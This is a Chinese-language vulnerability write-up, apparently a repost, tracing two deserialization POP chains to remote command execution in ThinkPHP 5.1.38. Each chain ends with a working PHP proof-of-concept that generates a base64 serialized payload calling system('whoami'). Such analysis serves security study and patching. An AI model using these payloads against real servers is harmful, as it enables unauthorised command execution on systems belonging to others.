环境
Thinkphp5.1.38
PHP7.3.4
触发条件
__destruct方法或者__wakeup方法
测试代码

源码分析
链条一
漏洞起点文件
think\process\pipes\Windows.php
__destruct触发removeFiles方法

file_exists会把传入的参数当作字符串处理,触发__toString魔术方法

全局搜索下__toString,跟进think\model\concern\Conversion.php下的__toString方法,调用toJson方法

跟进toJson方法,调用toArray方法,然后json格式返回。

跟进toArray方法,需要在toArray方法中寻找到可控变量->方法(可控变量)来触发__call魔术方法。
为什么需要__call方法呢?因为PHP为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,所以使用 __call 方法来避免,而__call方法中又常利用call_user_func和call_user_func_array来进行动态调用,从而可能导致命令执行。toArray中的$relation->visible($name)正好符合这个条件。

首先进行if (!empty($this->append))条件判断,变量append可控,然后跟进getRelation方法,位于think\model\concern\RelationShip.php中,只要传入的参数$name不为空,且不在$this->ralation中即可返回null。

跟进getAttr方法,位于think\model\concern\Attribute.php中,调用了getData方法。

跟进getData方法,位于think\model\concern\Attribute.php中,只要传入的参数name存在$this->data中,就返回$this->data[$name],因为这里name,$this->data可控,所以返回值可控。

也就是toArray方法中的ralation变量可控,就可以符合可控变量->方法(可控变量)来触发__call魔术方法。寻找不存在visible方法且存在__call方法的类。

因为调用__call方法,第一个参数是不可控的,所以限制了挺多。最后找到了think\Request.php类下的__call方法
跟进think\Request.php下的__call方法。只要$method在$this->hook中就可以触发call_user_func_array,且两个参数都可控,但是args经过了array_unshift函数插入导致args数组的第一个值是不可控的,但是我们可以调用任何方法。TP5有个常用的RCE漏洞是think\Request.php中的input方法。

跟进input方法,我们知道这个RCE漏洞是实例化类的时候没有过滤,需要$data、$filter和$name可控,然后进入filterValue方法中执行了call_user_func导致了命令执行,但是这边data变量却不可控。寻找调用input方法的方法。

跟进param方法,位于think\Request中,但是这里的$name依旧不可控,继续寻找调用param方法的方法

跟进isAjax方法,位于think\Request中,this->config['var_ajax']变量可控,也就是input中的name可控。

但TP5的request RCE漏洞的filter参数是通过GET传入,但这边的filter我们又怎么控制呢?
最后我们跟进下input方法,看看如何触发命令执行。getFilter方法的返回值赋值给$filter变量

跟进getFilter方法,位于think\Request中。$filter来自$this->filter所以可控。

最后进入array_walk_recusive函数,触发我们熟悉的filterValue方法。

跟进filterValue方法,通过call_user_func触发命令执行。

完整POP链条

think\process\pipes\Windows->__destruct()->think\process\pipes\Windows->__removeFiles()->file_exists()->think\model\Pivot->_toString()->think\model\Pivot->_toJson()->think\model\Pivot->_toArray()->think\Request->visible()->think\Request->__call->call_user_func_array()->think\Request->isAjax()->think\Request->param()->think\Request->input()->array_walk_recursive()->think\Request->filterValue()->call_user_func()
POC编写
注:自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。Trait 不能通过它自身来实例化,通过在类中使用use 关键字,声明要组合的Trait名称。所以我们通过寻找找到了同时组合model\concern\Conversion和model\concern\Attribute类的think\Model类

而think\Model类又是抽象类,也是不能直接来实例化的,需要寻找它的继承类来实例化,来间接调用。最后找到了think\model\Pivot类

<?php
namespace think{
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = 'system';
$this->param = ['whoami'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax' => ''];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = ['eas' => ['eas']];
$this->data = ['eas' => new Request()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
链条二
漏洞点在think\model\concern\Attribute中getAttr方法中的$closure($value, $this->data)
POP链条的前部分触发点和链条一一样,进入getAttr方法

跟进getAttr方法,$value的值由getData方法返回值决定,由链条一我们可以知道$value可控,然后就是$closure是由$this->withAttr[$fieldName]赋值,$this->withAttr可控,$fieldName由Loader::parseName($name)赋值。


跟进Loader::parseName方法,只是简单的过滤匹配,所以fieldName也是可控的,即$closure可控

完整POP链条

think\process\pipes\Windows->__destruct()->think\process\pipes\Windows->__removeFiles()->file_exists()->think\model\Pivot->_toString()->think\model\Pivot->_toJson()->think\model\Pivot->_toArray()->think\model\Pivot->getAttr()->$closure($value, $this->data)
POC编写
注:在php中如果传入多余的参数时,会被函数忽略。
<?php
namespace think{
abstract class Model{
private $data = [];
private $withAttr = [];
function __construct()
{
$this->withAttr = ['system' => 'system'];
$this->data = ['system' => 'whoami'];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}

总结
往往一条比较长的反序列链条中,可以被触发的漏洞点不止一个。需要自己从__destruct方法开始一点点看过去。(方法比较笨,但不会错过每一个点)。当然每个人挖掘方式不一样,从__destruct开始是正着挖,有的师傅喜欢先定位危险函数如call_user_func,然后逆着挖。个人觉得正着挖比较好,逆着挖个人感觉对新手不太友好。
转载
分享
没有评论